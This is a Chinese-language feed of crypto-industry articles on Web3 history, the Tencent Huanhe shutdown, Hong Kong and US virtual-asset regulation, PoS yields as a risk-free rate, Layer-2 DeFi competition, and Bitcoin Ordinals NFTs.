人类花了300万年才从石器时代走到农业时代，花了1.4万年才从农业时代走到工业时代，但人类仅仅花了500年就从工业时代走到数字时代。而这500年里，股、债、汇、商虽然玩法不断翻新，但却都是新瓶子装旧酒，直到2009年以比特币为代表的Crypto问世，股、债、汇、商四大类金融资产之后从此多了一种前所未有的资产大类：可编程资产，也就是人们俗称的“币”。Blockchain就像一头从外太空降落地球的金角巨兽，而Crypto就像这头巨兽头上的那个金角，令传统金融市场惊慌失措，后世可能将称之为“第二次金融革命”。 1.4万年的农业时代所产生的经济价值远高于300万年的石器时代所产生的价值，500年的工业时代所产生的经济价值远高于1.4万年的农业时代所产生的价值。截止目前60年的数字时代所产生的经济价值也已远远高于过去300年的工业时代所产生的价值。人类正处于技术大爆炸的极早期阶段，而全球范围内连续出现可编程工具正是这一技术大爆炸的核心特征。人类核心生产工具从石器转为锄头，再从锄头转为可编程工具总共花了300万年，耗时之长令人瞠目结舌。一切数字化进程的起点，都源于“计算机”的诞生。 图2: 数字时代的变迁 1964年集成电路计算机的出现标志着人类进入了数字时代，大规模编程有了物理基础。数字时代的第一特征是工具可编程。人类利用这类可编程工具以远超前人、古人、猿人的速度改造物理世界，并纵深改变了各个领域的产业结构。 数字时代的平台结构分为前端和后端。后端包括后端设备和网络两部分；前端包括前端设备和用户交互两部分。后端设备包括芯片、操作系统、服务器、数据中心、通讯网络。从单机、局域网时期的Web0开始，之后到Web1、Web2以及现在的Web3，这是网络的发展历程。前端设备包括电脑、手机、手表、眼镜、头显、汽车、智能家具；用户交互包括图文、语音、视频、具象空间、脑机接口。 从前端角度看Web3和Web2的区别主要是Web3用户拥有更多的数据主权。Web3为什么能做出所属权而Web2难以做到？有一个很重要的技术是在数据产生的时候就具备了可验证性。从后端角度看，Web2的重要特征是出现了云，Web3的重要特征是出现了区块链。云代表中心化的能力输出，区块链代表去中心化的能力供给。 Web2用户数据通常存放在中央服务器，虽然可能会有几个备份，但这些服务器全都是由一些服务商来管理的。虽然厂商也可以做权属证明，但是数据所有权属完全属于这些中心化的实体正是由于区块链的出现，它能让这些资产、数据具备所属权。当上链的那一刻，区块链就会生成可以验证的时间序列，从而在共识层面确定所属权。 然而，新事物的发展从来难以一帆风顺，因为总有人会利用新事物来做恶或者做违法的事情。可编程金融产品作为第二次金融革命的核心产品，在过去各国政府以及传统部门的重重打压之下降格为俗称的“币”、“虚拟货币”，“币”成为讳莫如深的字眼。而区块链作为Web3的核心后端，其发展之路也是磕磕绊绊。有的人被迫关停项目，有的人选择漂洋过海，成为数字游民。 面对前所未有的事物，人是一根会思考的芦苇。过去500年工业时代的新事物，比如蒸汽火车、汽车、飞机等新东西，刚出现的时候也带来了一阵恐慌，当普通人开始用上这类事物的时候方才解除误解。区块链和数字货币也必然要经历这个阶段。毕竟连毕达哥拉斯、柏拉图、亚里士多德、托勒密这些善于思考的伟人都误以为地球是宇宙的中心，更苦况是凡夫俗子。 因为Web3不是纯技术驱动，它的发展伴随着第二次金融革命，因此Web3对经济社会的推动不是单一的，而是会叠加加密货币Crypto这种可编程金融产品来发挥作用。可编程金融产品其实不是洪水猛兽，哪怕是“稳定币”也不是洪水猛兽。可编程金融产品在过去500年工业时代从未出现过，但在金融数字化发展到某些特定阶段就必然会出现。各国政府显然还不适应这种新事物，目前还处于惊讶、困惑、学习、了解、琢磨、试探的阶段。 可总有一些“弄潮儿”早早就洞悉了这场技术与金融变革并积极投身其中。典型案例是Meta(Facebook)出来创办的Aptos、Sui；高通出来创办的Solana；以红杉资本、a16z为代表的投资机构自2021年开始已在Web3领域投资573亿美元； 全球顶级高校毕业的精英也加入这场“圈地运动”。根据Rootdata 收录的哈佛大学、斯坦福大学、加州大学伯克利分校、麻省理工学院、清华大学、北京大学、浙江大学校友创立的 Web3 项目数据库，我按照各个主要细分赛道做了以下统计： 图3: 盛产Web3项目的高校 基础设施领域过半面积已经被美国占领；CeFi领域的绝大部分面积是华人占领；DeFi领域接近一半由华人群体在运营；NFT领域中国、美国、东南亚都有许多玩家，但潮流仍然是美国引领；游戏在亚洲特别盛行，玩家估计能占全球的三分之二。 在已经获得融资的所有项目里头，美国达到386家，占比35.12%；中国有109家，占比9.92%；新加坡有105家，占比9.55%；印度有68家，占比6.19%；英国有62家，占比5.64%；韩国有35家，占比3.19%；加拿大有34家，占比3.09%；法国有34家，占比3.09%；越南有26家，占比2.37%。中国项目拿到投资的难度比美国项目高不少，中国Web3资本的话语权比美国Web3资本低不少。 关于Web3政策，中美两国的姿态最为关键。目前的政策走向，美国是前松后紧，往后趋紧；中国是前紧后松，往后趋松。2023 年 2 月 20 日，香港证监会就加密货币交易发布了《咨询文件》，标志着港府在中央政府的默许下放开加密货币交易领域，这是否意味着未来十年中国有可能重新夺回Web3主导权呢？ 结论：无论如何，Web3全球用户已有2.5亿之多，其渗透范围已经从金融领域开始向外延伸，逐渐进入到游戏、社交、内容创作、通讯、出行、医疗、教育、购物、供应链、生产制造、财务、营销、公司治理等领域。按目前这种“圈地运动”的速度，可能都不需要5年时间，Web3全球用户就能达到10亿，最快10年就能覆盖全球60%的人口。换句话说，只需要十多年的时间，Web3就能吞噬世界。人类正处于石器时代以来最陡峭的产值爬坡阶段，这个世界一代人就换一个样，你做好准备了吗？  ( 4 min )
    腾讯幻核APP将于6月30日下线，提醒用户在此日期前申请退款
    PANews 3月9日消息，腾讯数字藏品平台幻核今日在下线通告中表示：“基于业务调整的安排，幻核APP将于2023年6月30日24时下线。幻核APP下线后，持有藏品的用户将无法在APP中查询、下载、展示及分享已购数字藏品，且不能再进行退款操作。”幻核建议用户在2023年6月30日期前进行退款操作。  ( 4 min )
    东升西落：美国加密银行Silvergate深陷困境，香港与美国虚拟资产监管是否殊途同归？
    原文：《美国加密银行Silvergate深陷困境，香港与美国虚拟资产监管是否殊途同归？》 作者：毕良寰，欧科云链研究院 引言 近日，美国最大加密友好银行Silvergate Bank客户逃离叠加监管质疑，美国监管一面提醒流动性风险，一面忙于处罚。惨遭监管大棒处罚的美国从业者却纷纷渴求一个监管框架？而太平洋彼岸则是另一番景象。香港财政司司长陈茂波于去年10月称，推动香港发展成国际虚拟资产中心。此后，香港就虚拟资产方面的动作频频。市值仅仅万亿美元的加密市场，为何各国政府在积极探求其监管之道？究竟是香港抢先一步还是美国另有他因？欧科云链研究院将从虚拟资产市场和金融市场的监管之道分析，带你一探究竟。 自去年11月FTX崩塌后，余波未了，美国金融监管机构对虚拟资产采取了更严厉的立场。在这几个月里，监管机构纷纷展开整顿行动，实施了重大处罚并向业内参与者发布了广泛警告。此外，监管机构还向质押、稳定币、NFT项目挥起大棒。就在香港的政策性利好市场上还未熄火之时，美国三大监管机构——美国联准会、联邦存款保险公司 (FDIC) 和货币监理局 (OCC)于2023年2月23日发布了联合声明，强调了与虚拟货币相关的某些资金来源所带来的流动性风险，也表明：”不制定新加密法规、不阻止银行提供加密服务。” 图片来源：美联储官网 而太平洋对岸则是另一番景象。2月20日，香港证监会就有关监管虚拟资产交易平台的建议展开公开咨询（下文称“咨询文件”），在业界引起了一时轰动。2月22日，香港财政司表示，将拨款5000万元加速推动Web3.0生态圈的发展。此外，还强调了虚拟资产是Web3.0生态圈的重要一环，并表示下一步将成立并领导一个虚拟资产发展专责小组，成员包括相关决策局、金融监管机构，以及市场人士，就行业的可持续和负责任发展，向政府提交建议。 造成香港与美国监管步调如此不一致的原因之一，是Terra Luna UST 和 FTX 的崩溃这些暴雷事件的远期影响。据不完全统计，UST和FTX的崩溃损失合计超过1000亿美元。因之前实行对虚拟资产“严监管”的香港，反而躲过了FTX暴雷等事件。因此，香港自去年10月的政府宣言表明对Web3.0的决心和态度之后，在发展和监管二个方面都大踏步迈进。而受FTX远期影响的美国，还在用处罚手段去处理FTX的暴雷以及相关利益方，并且深入虚拟资产领域进行调查。其实，FTX的失败并不是一件因科技而起的“新鲜事”，而是金融界的“挪用客户资产和依赖牛市过度投机”在加密领域的重演。Alameda的运作方式与FTX交易所深度绑定，并强烈依赖市场的上涨环境。 自去年11月FTX事件之后，美国当局一直在加紧切断银行与高风险虚拟资产企业之间的联系，担心金融系统也会有可能遭受严重损失。3个月过去了，市场风险尚存。虚拟资产公司也深受其影响。 例如引起了白宫关注的加密货币银行Silvergate正逢客户逃离叠加监管质疑，恐陷入困境有破产清算风险，据统计Silvergate股价过去一年累计下跌95%。Silvergate Bank作为虚拟资产友好银行，建立了自己的结算支付网络，承担着虚拟资产与美元之间的流通重要作用。而发生在Silvergate Bank上的流动性问题，也是美国监管机构最担忧的主要风险。银行“挤兑”并不是因为银行本身存在违规行为，而是客户发现虚拟资产市场已然崩溃，赶忙去银行进行提款的结果。 图片来源：网络 加之随着通胀放缓，市场预期全球央行紧缩政策接近尾声，多个国家央行再次重申加息的必要性，不仅行业环境，宏观环境也造成了风险资产类别的流动性有再度枯竭的危险。 美国忙于应对虚拟资产市场中已经发现的流动性问题，而香港却因躲过了FTX等暴雷事件，在这个时间点大踏步迈进。尽管步调不一致，2022年的黑天鹅事件为全球各国敲响了警钟，更着重在投资者保护方面下功夫。美国虽未有一个完整的监管框架，SEC也在计划加强对投资者资产的保护措施。根据拟议中的规定，投资顾问必须与合格的托管人拟定书面协议，确保客户的资产在托管人破产时得到隔离和保护。包括Coinbase等加密货币交易所在内的托管人，必须先在美国联邦政府或州政府进行特定的注册，然后才能提供资产托管服务。香港与美国在这些相同的时间节点上看似殊途，实则同归—— 皆为了防范这个新类别资产带来的潜在金融风险。 据CMC统计，截至3月6日全球加密资产总市值为1.02万亿美元，约等于半个苹果公司（2.39万亿美元，3月6日）的市值。如此市值，为何让各国政府绞尽脑汁、大动干戈并让各界渴求一个监管框架？ 1.多国政府共识：第三代互联网机遇 虚拟资产或者说加密资产是建立在区块链技术基础之上的去中心化资产。而Web3作为第三代互联网，从Web2技术——“可读、可写”升级为“可读、可写、可拥有”，基于此并使用区块链技术、虚拟资产包括加密资产和NFT，而建立的愿景都是业内期盼的Web3.0时代。除了去中心化的特点，以所有权的形式，将权力归还给用户也是Web3.0时代的发展核心。 2022年，全球多个金融中心城市宣布要成为虚拟资产中心和加密货币金融中心。随着这个市场不断发展，世界各地的司法管辖区正在匆忙制定法律法规。就亚洲而言，早在2020年，新加坡已立法监管虚拟资产，并根据新加坡金融管理局《支付服务法令》，所有在新加坡从事支付业务的公司，都必须要申请牌照。2022年3月，迪拜颁布虚拟资产法，并成立了虚拟资产监管局，是世界上第一个专门设立虚拟资产监管机构的司法管辖区。2022年10月，香港发布政府宣言称要推动香港发展成国际虚拟资产中心。同期，作为世界上最早监管虚拟资产交易的国家之一，日本新首相岸田文雄几乎将发展 Web3.0提升到了国家战略层面，打算举一国之力来推动Web3.0的发展。 2.风险外溢，金融风险加剧 机遇和风险并存，风险与资产一样是流动的。在评估虚拟资产市场带来的风险之时，除了链上安全事件，还应看到风险外溢。大多数虚拟资产的生命周期较短且波动性极大，这些都会引起流动性风险。当一家银行的风险资产过大，就会出现前文叙述的Silvergate Bank的结局。这也是为何美国监管当局正忙于用处罚手段试图“切断”高风险虚拟资产企业与金融机构的联系。 虽然加密资产市场在2022年据统计在全球金融体系中的规模不到1%。但其规模已类似于例如引发2008年全球金融危机的证券化次级抵押贷款市场的规模。 在市场存在下行压力期间，虚拟资产价格与主流金融资产的相关性不断增加。此外，随着市场的发展，包括对冲机构、家庭办公室和资产管理公司在内的金融机构也逐渐参与其中，这会助长虚拟资产的资产规模增长，同时也带来了风险，尤其是对那些还未涉及担保的资产所带来的风险。 3.只有处罚手段的监管是事后措施 当行业内发生黑天鹅事件，利益受损的不仅仅是投资者，还有从业机构和整个行业发展的未来。若只有处罚手段，那也就意味着只有事后，认定了其违规和犯罪行为，才会有处罚。这样的风险控制并不利于行业发展。 “一些监管机构不希望加密资产的监管清晰化，因为他们实际上是在试图遏制这个行业。通过强制执行进行监管，而没有制定明确的规则供大家遵守，已经把行业的主要业务推到了美国之外，这导致美国投资者和企业受到伤害，”美国合规机构"代表"Coinbase 的首席执行官，Brian Armstrong称。针对太平洋两岸就虚拟资产监管的对比，Brian Armstrong在社交媒体上发表了观点，称“美国有可能失去其作为国际金融中心的地位，美国对加密资产没有明确的规定，而且机构的监管环境也很恶劣”。 图片来源：Brian Armstrong个人社交媒体 香港金融监管答卷，能否再现“纽伦港”？ 针对于金融风险，还需金融监管手段。香港此次透过咨询文件展现的虚拟资产交易监管的框架蓝图，就是一个案例。 1. 风险为本 香港对虚拟资产的监管从22年12月香港立法会通过的《2022年打击洗钱及恐怖分子资金筹集（修订）条例草案》（下文称“修订草案”）以及2月底发布的“咨询文件”中，可以看到以“风险为本”并以“相同业务、相同风险、相同规则”为原则并轨传统金融，制定了一套全面的监管框架。以“风险为本”就是要求金融机构将自身和洗钱风险放在一个系统里，金融机构和监管共同面对和管控洗钱风险。 香港此举与第一个提出监管框架的欧盟不同：2023年2月14日欧盟宣布的监管框架是一个泛欧洲沙盒监管框架，旨在通过沙盒形式来提升区块链项目的法律确定性。同样作为国际金融中心的新加坡，在制定监管政策的时候，是围绕DPT(Digital Payment Token)，采用“肯定数字资产创新但否定加密货币”的态度，建立了一个新的监管框架，这样的方式对行业来说更为灵活，但一个新的监管体系，仍需要时间和市场的检验。 2. 并轨传统金融 并轨传统金融，香港对于虚拟资产的监管框架从投资者保护、反洗钱、牌照准入三个方面详细地给出了监管方面的指引。并且在去年颁布的“修订草案”中，对虚拟资产交易平台在反洗黑钱、反恐融资和投资者保护方面的要求，将与目前对传统金融机构的要求一致，在满足相关监管条件下，金融中介机构和银行能够与获得牌照的虚拟资产交易所合作，为客户提供交易服务。 对于非证券型通证的监管，目前观察下来，与其他地区例如新加坡制定全新的监管法案不同，香港比较倾向于修订现有法律例如通过修订原有的《打击洗钱及恐怖分子资金筹集条例》来将非证券型通证归类为虚拟资产进行监管。 图片来源：香港金融管理局官网 3. 防范潜在金融风险 2023年6月的这次“咨询文件”中，一个重要变化是从“了解客户”（KYC）全面上升到“客户尽职审查”（CDD）。通过这次升级，可以指引平台更好地对他们的客户进行事前风险评估，从而减少事后风险发生带来损失的概率。 除此之外，细节上“咨询文件”为了规避一些潜在金融风险，给到了详细的指引。例如在平台自身经营方面，除了不低于五百万港元的注资资本，还要保有不低于12个月经营费用的流动资产。在资产的安全保管方面，平台运营商应通过全资子公司（即 "关联实体"）托管客户资金和客户虚拟资产。平台运营商应确保其钱包中存储的客户虚拟资产不超过2%，且种子和私钥必须存放于香港。 无论从流程整体上的升级还是细节上对于风险防范的加强，皆是香港当局防范虚拟资产带来的潜在金融风险的举措。像美国现在上演的针对于流动性风险挥舞起的监管大棒也许会是以后各国金融中心包括香港在内的“前车之鉴”。 此外，咨询文件还包括6个附录，其中关键的是持牌虚拟资产交易平台运营商指南（附录A）和打击洗钱和恐怖主义融资条例指南（附录B）。更多细节解读可参照研究院此前发表的《深度｜香港Web3.0的未来机遇与挑战---SFC虚拟资产交易咨询文件解读》。 纵观香港的科技发展史，香港在全球科技和金融科技版图上的地位还未达到顶点。以香港数码港为代表，香港在互联网时代虽规划超前，但与北京后场村、加州硅谷相比，其发展略显骨感，令人扼腕叹息。 图片来源：TIME封面 在这以虚拟资产为重要组成部分的第三代互联网争夺之战中，香港政府借助其百年金融史和国际金融中心的经验，自上而下，构建一个全面且平衡的监管框架。躲过FTX等暴雷的香港，能否再现08年被美国时代周刊所称“纽伦港”三座城市的金融网络主导了全球经济的辉煌？这个答案会在Web3.0中找到。  ( 4 min )
    加密世界的原生基准利率该如何定义？
    机构：Mint Ventures 作者：Colin Li, Mint Ventures研究员 本篇文章属于Mint Ventures的#Mint Clips 系列。Mint Clips是我们对于行业事件，在内外部交流后的一些思考。相对于我们的#深度研报 和#赛道扫描 系列文章，Mint Clips并不讨论特定的项目，主要呈现对于特定议题的“阶段性洞察”。 关于区块链行业中的”债券市场“叙事在DeFi Summer之后逐渐被市场和各类投资者重视，包括Multicoin Capital等对于”利率市场“的发展模式进行了探讨，并在那一段时间内投资了相关标的。但是，即便基于当时对”机构投资者入场“和”DAO快速发展“的预期，链上世界的债券市场并未出现爆发，相关标的的TVL等指标维持在较低位置，我们在这一轮周期没有看到“债券市场”的蓬勃发展。 那么，链上世界到底有没有债券市场？加密原生crypto native的债券市场可能会有什么样的发展模式？要回答这些问题，对于加密原生的无风险利率（risk free rate）的思考是一个重要切入点，这是决定债券市场发展方向的基石，因为这是加密原生资产的折现因子的重要组成部分。思考了“无风险利率”，我们才会知道在加密市场中什么样的经济活动可能达到风险与收益相匹配。 如何看待公链长期以来是很多投资机构和研究者思考的重要课题之一。来自USV的Joel Monegro在2016年提出了“胖协议”的概念深入人心，直到现在也被很多投资者认为是公链叙事的重要出发点。 2021年，Tascha提出了公链的“国家估值”逻辑，对当时市场中主流的利用股票估值模型对公链进行估值的方式提出了质疑，并认为货币汇率模型来估值公链更有用。2022年，Jake Brukhman也提出，区块链技术是新的人类协作方式，更像是一种公共产品，只不过区块链拥有获得利润的可能性。 公链提供了一系列基础服务，基于公链的任何项目都无法独立存在，从这个角度来说，我个人也倾向于把公链的叙事从“公司”拔高到“国家”。既然把公链看成了国家，自然就需要讨论“国家”的无风险利率，这是“国家”资产的定价基石。 当我们从一个“国家”叙事出发，下一步就是定义货币。一个国家的货币当然是本国“权威机构”发行。映射在区块链世界中，一条公链的公链代币才应该被当成这条链的货币。比如，以太坊的ETH，Solana的SOL，Fantom的FTM等。 无风险利率不包含信用风险、期限风险等，一般在传统世界中，被认为是短期国债利率，或央行制定的基准利率水平。 如果我们将名义无风险利率拆开，可以看到一部分是价格预期（通胀），另一部分是经济体本身的增长预期（实际利率），知名的央行基准利率定价模型泰勒法则中也表明了影响无风险利率的是这两个因素。当然，这个利率仍然存在一些前提假设，比如国家相对稳定，监管机构没有被破坏等等。所以无风险利率之下，不是绝对没有风险。 现在来看看加密市场主要的几个利率。 市场中的部分投资者把稳定币的借贷利率作为加密市场的无风险利率。比如USDC、USDT在Aave、Compound中的借贷利率。 但如果我们认为，USDC/USDT等直接锚定美元价格，并不是公链的公链代币，从这个角度讲不能作为公链本身的无风险利率。 USDC这一类稳定币与公链的公链代币之间的价格关系，更像是外汇的汇率，两类币种的利率，也更像是一个离岸中心的美元与其他国家货币之间的不同利率水平。 ETH、SOL等在借贷协议中也有相应借贷池，借贷利率大部分时间非常低。以存在Aave中的ETH为例，大部分时间ETH的利率水平在较低位置。 不过，公链代币的借贷存在违约风险，也面临着流动性风险问题，前者是借贷的交易对手方导致的问题（counterparty risk），后者则是市场整体风险（market risk），而这一类风险并不在“无风险利率”之内，因此这一类的借贷利率也不能作为“无风险利率”的基准。 不论是POS还是POW机制，为了维持链的正常运行，都需要为矿工/validator提供一定的奖励。这一部分收益率包含了公链代币的新发放（激励），即“国家货币”的通胀，也涉及到链上活动的活跃程度。 以POS机制为例，MEV的主要来源是：套利、清算、三明治攻击，都与链上的活动剧烈程度息息相关。从以太坊MEV的每日利润也可以看到，在牛市中MEV更多，而熊市MEV相对就减少很多。 另一个相关的指标 — — 链上gas fee也显示出相应的特征。 不过，从风险角度看，POS收益率真的是完全没有风险的吗？也不是。 想要获得这一笔收益，需要承担硬件、软件（客户端）、网络风险等，但这些风险是维持公链顺利运行必须冒的风险。而且，POS收益率还包含了潜在的slashing罚金，不过这仍然是公链运行无法规避的风险。 总的来看，矿工/validator所获得的收益，一方面包含了公链代币的通胀，另一方面也有链上活跃程度的收益，优于前面两种利率水平，Pos收益率更加贴合“国家”叙事层面下的“无风险利率”。 可能有一些朋友会有这样的疑问：“我在链上的很多操作都是用类USDC这类型的稳定币来执行的，为什么不能用稳定币的利率作为无风险利率”？ 首先，USDC的利率是因为用户的借贷行为产生的，这其中包含了潜在的违约风险，期限风险，这些风险主要是因为用户的链上活动产生的，包含了交易对手方可能的信用问题，这与“无风险利率”只反应货币供应量和经济增长基本情况并不一致。 其次，在“国家”叙事下，公链币作为了公链的本币，其他的货币都应该看成“外汇”。与传统意义上的国家不一样的是，一般情况下一个国家在暴力机构的支持下只能使用本国货币进行日常的生产经营活动，而在加密货币市场中，没有暴力机构和某种机制强制要求只能使用公链币作为任何活动的支付币种，所以公链看起来更像是一个极度开放的“国家”，接受任意币种作为支付工具。所以，稳定币等其他非公链币种，都可以看成是“外汇”。 无风险利率是观测“公链国家”整体状况的一个视角，实际利率可以辅助判断生态的成熟程度，对投资策略也有一定的指导意义。 现在来看看一些公链的POS收益率，我们在这里选取TVL在1亿美元以上、有POS收益且持续通胀的公链项目。总体来看，呈现出与现实世界中非常类似的情况：经济体越成熟，经济体提供的利率水平相对越低。 再来观测实际利率水平。一个经济体的实际利率水平主要与经济体的潜在增速、人口结构、资产回报分化有关，健康的经济体均呈现出正的实际利率。那么映射到公链领域，与“人口”可对应的有地址数、活跃地址数，“潜在增速”可对应的有交易数量、交易费用、部署的合约增长率等。 StakingRewards给出了调整后奖励收益率（adjusted reward），通过调整网络供应造成的通胀（the inflation of network supply）计算得出。adjusted reward可以用来代表实际利率。从下图可以看到，大部分公链项目仍然处于增长态势中。 通过简单观测POS收益率和TVL的排名，有利于部署不同的公链投资策略：对于稳健的投资者来说，应该寻找POS收益率偏低且实际POS收益率为正的公链项目作为标的库；对于激进的投资来说，或许盈亏比更大的项目在POS收益率偏高且实际POS收益率为负的公链中。 在我们讨论了公链的无风险利率之后，自然就会想将无风险利率用在市场的定价中。与利率水平直接相关的是借贷市场和债券市场。借贷市场大家很熟悉，但是债券市场却一直不温不火。下一篇，我们将讨论债券市场现状，以及对市场未来的发展方向进行讨论。 （1）Exploring the Opportunity for DeFi Interest Rate Markets, Multicoin Capital （2）Fat Protocols, USV （3）Price layer 1 blockchain tokens like countries, Tascha Labs （4）Crypto Networks Are Monetizable Public Goods, Jake Brukhman （5）Determinants of the real interest rate, European Central Bank  ( 5 min )
    上海升级推迟下的板块机会：L2头部生态的DeFi “内卷”
    原文：《Weekly Brief | 上海升级推迟下的板块机会：L2 头部生态的 DeFi “内卷”》 L2 是目前讨论热度最高的赛道之一。 L2 旨在解决以太坊长期存在的、提升吞吐量的迫切需求，今年，其头部生态相继迎来阶段性的技术落地，同时也是今年以太坊主网升级的主要受益板块。 以太坊路线图中，“The Surge”是推动 Rollup 扩容的重要节点，旨在 Rollup 中实现每秒 10 万+ TPS 的关键目标： 图中，EIP-4844 （Proto-Danksharding 提议）是非常关键的提议，属于完整版分片扩容 Danksharding 的前置方案，整套方案围绕 Rollup 来进行链上扩容。（相关阅读：《全面解析EIP-4844：Sharding的一小步，以太坊扩容的一大步》） EIP-4844 提出了一种为 Rollup 量身定制的交易类型 Blob Transcation，为以太坊提供了一个额外的临时外挂数据库，为每个交易增加了 128 KB（1 个 Blog）- 256 KB（2 个 Blog）； 每个区块可承载 1 MB（8 个 Blog）- 2 MB（16 个 Blog），给以太坊带来了额外存储空间（目前以太坊每个区块平均大小约 85KB 左右），额外的数据空间可以使 Rollup 实现更高的 TPS 和更低的成本，同时也将原本 Rollup 占据的区块空间释放给更多用户。 在完整版 Danksharding 方案中，还将继续扩大 Blob 可以承载的数据量。 提案部署与升级，预期能将 L1 交易的成本将降低 10 - 20 倍，进一步将 L2 Rollup 成本降低 10-100 倍。 EIP-4844 的范围涵盖共识与执行，其复杂性介于 EIP-1559 和 The Merge 之间，被定于在上海升级后的坎昆升级中部署，是上海升级之后的坎昆升级的重点。因此，LSD 赛道热度高涨的同时，市场对后续热点的预期已围绕 L2 赛道展开。 该提议原定于今年 5 月- 6 月落地，但目前看来，随着进度推迟，预期将在今年中期或下半年启动。这为整个 L2 生态提供一个极佳的热度延伸区间，不断带动 L2 板块波动。该板块确定性强，最迟也将在 EIP-4844 升级前成为热点。 L2 版块相对成熟，近期数据向好： （数据来源：l2beat） 现有 Rollup 技术解决方案以 Optimistic Rollup 和 ZK Rollup 为主。基于 Optimistic Rollup 技术的 Arbitrum 和 Optimism 两大头部生态稳稳占据市场份额，两强格局明显。 Arb 生态和 OP 生态具备先发优势，市场关注度高，资金较为集中。形成了 Arb + GMX、OP +SNX 的生态，竞争将长期存在。 （数据来源：l2beat） Arb 技术发展速度更快，最先实现了多轮欺诈证明，生态中的数量、活跃度都更为丰富，其原生项目包括 GMX、MAGIC 生态等；OP 在技术进展上速度稍慢，但于上轮牛市尾部（ 2022 年 6 月）空投了治理 Token OP，这一动作优先于其他任何竞争对手，成为市场在 L2 赛道的对标与参考标的。 （数据来源：https://dune.com/blockworks_research/l2-comparison-dashboard） EIP-4844 提案对两项生态所带来的影响也有细微差别：Arb 上的 GMX 提供着最大的 TVL 占比，但 OP 中的 SNX V3 即将上线，由于其采用的原子交换属于 0 滑点交易，将在 EIP-4844 的降费中更加受益。 此外，L2 应用天然具有迁移需求，两个生态仍在共享许多 DEX、DApp、借贷协议等。 这样胶着的竞争，叠加升级所带来的 L2 Rollup 降费利好，所带来的螺旋效应将是非常激烈的。在升级延迟及升级落地之前的空间，Arb 系与 OP 系的将出现更激烈的 DeFi 项目“内卷”。 这种内卷下，理想的机会在于创新类 DeFi 项目的出现、头部协议的技术进展或利好带动、官方的战略动向与生态扶持（对于这类项目，来自 Arb 与 OP 的官方支持将非常重要）。 L2 中，大多数 DeFi 仍在“平移”以太坊、Polygon、Solana、Fantom 等生态中的 DeFi 经济模型与思路，但无论如何，短期内可以持续关注 Arb 生态和 OP 生态动热点 DeFi，例如： ARB 生态：Magic（MAGIC）、Radiant（RDNT）、Gains Network（GNS） 等； OP 生态：Velodrome（VELO）、Sonne Finance（SONNE） 等；  ( 5 min )
    加密货币始祖遇上“科技与狠活” ：给比特币“雕花” 增值还是累赘？
    原文：《给比特币“雕花” 增值还是累赘？》 作者：凯尔 编辑：文刀 比特币网络也能发NFT了，大玩家快速入场。3月6日，Yuga Labs开启了TwelveFold拍卖会，该项目是Yuga Labs在比特币区块链网络上发行的首个NFT合集，内含300个艺术品。 在没有智能合约的比特币网络造NFT，没那么友好。但Web3的开发者们想出了办法，今年1月，Ordinals协议诞生，它能给比特币（BTC）的最小交易单位“聪”编码，完成区分后在聪的数据里“镌刻”图片，进而生成NFT。 “给数字黄金比特币雕刻NFT艺术”，听上去就很“吸金”。于是，比特币版的一款NFT卖了9.5 BTC，折合148万多元。赚钱效应下，包括Yuga Labs在内大批“雕花匠”赶来，酝酿着各种比特币版的NFT。 然而，本就拥堵不堪的比特币网络因为NFT的链上流转，变得更加拥塞，区块大小的激增也拉高了节点的存储成本。“比特币不需要NFT”的反对声正在响起。 3月6日，Yuga Labs旗下新NFT项目TwelveFold启动拍卖，区别于该机构过往基于以太坊发行Bored Ape Yacht Club（BAYC无聊猿）等项目，TwelveFold是其在比特币区块链上发行的首个NFT系列。 作为NFT圈最知名的发行商之一，Yuga Labs的号召力不容小觑。根据规则，参与拍卖的用户需要填写一个用于接收NFT的比特币钱包地址，然后点击“出价”按钮，可获得一个比特币收款地址，随后用户可将出价发送到该地址进行竞价。最低出价金额为20000聪，按当前比特币价格计算，约为 5 美元。 TwelveFold在2月28日就官宣了，它被Yuga Labs定义为“限量版实验性收藏品”，包含300件“刻”在比特币网络最小单位“聪”上的艺术作品，每个作品以“12x12”网格定位，Yuga Labs解释，“这是比特币区块链数据制图的视觉语言。” 此次拍卖中，将有288个TwelveFold NFT售向市场，剩余的12个将保留给贡献者或用于未来的捐赠和慈善事业。尽管Yuga Labs声明，这些作品不会与任何以前的、正在进行的或未来基于以太坊的 Yuga 项目互动或相关，但参与拍卖的人不在少数，且“土豪”居多。 根据3月7日的拍卖结果来看，排在前288名的地址最高出价达到7.1159 BTC（约110.8万元），最低出价也有2.2501 BTC（约35万元），这意味着在发售阶段，TwelveFold NFT的地板价就价值一辆宝马3系，又是一个妥妥的“贵族”项目。 许多人将Yuga Labs的入场视为比特币NFT的里程碑事件，毕竟，手握BAYC无聊猿、CryptoPunks等蓝筹NFT项目的Yuga Labs，是当前市场公认的NFT第一大厂。 那么，作为最“古老”的区块链网络，比特币以前为什么没有NFT？要知道，比特币是区块链网络最早的应用，一些加密圈原教旨主义者认为，区块链这个概念都是从比特币上凝集而来的。 但作为第一代区块链，比特币并没有智能合约的概念，是纯粹的“点对点价值传输”网络，只能产出比特币。到了以太坊，智能合约成为二者的重要区别，任何人都可以用智能合约发布“代币”（Token），比如加密市场上各种买来卖去的“币”，很多都诞生于以太坊网络，后来随着智能合约标准的发展，非同质化的NFT来了。 一直以来，用比特币网络发行NFT是不太可行的，直到今年1月，一个叫做“Ordinals”的协议出现，比特币网络得以用特别方式“+NFT”。Ordinals中文翻译为“序列号”，该协议的功能就是给比特币的最小交易单位“聪”（Satoshi）排序编号，让每个聪得以编号区分，进而能够被单独跟踪或交易。 这种改变，给NFT在比特币网络的诞生提供了条件。给聪编号后，Ordinals协议支持对聪进行“刻字”，即用户可以在聪的数据里增加文字、图片等信息，从而制作NFT。 与以太坊等区块链上每个NFT都具有“独立性”不同，比特币上的NFT更像是附加在聪上的附属品。这导致，要交易比特币上的NFT，必须发送该NFT对应的聪才能完成。 一个协议就为比特币生态增加了玩法，加密社区嗨了。Yuga Labs称，当一个月前踏入Ordinals社群，感觉就像瞥见了2017年的以太坊NFT生态系统，“人们已经习惯的以太坊 NFT 的工具和结构并不存在，我们对比特币的数字文物前景感到兴奋。” 长久以来，加密艺术一直被视为加密世界里特别的文化，早在2011年，就曾有人尝试过在比特币网络上创建艺术。当时，有人将消息放在比特币区块链上，并用这些消息创建了ASCII 艺术。 ASCII的全称是“美国信息交换标准代码”，利用这个标准，当时的艺术家在发送比特币交易时附上了用文字画就的图像，很像20年前人们发短信时用字符作画送祝福一样，那是个没有表情包的时代。与短信里的符文图不同的是，给比特币交易信息里“加图”，这些信息将被打包进区块，永久地保留在区块链上。 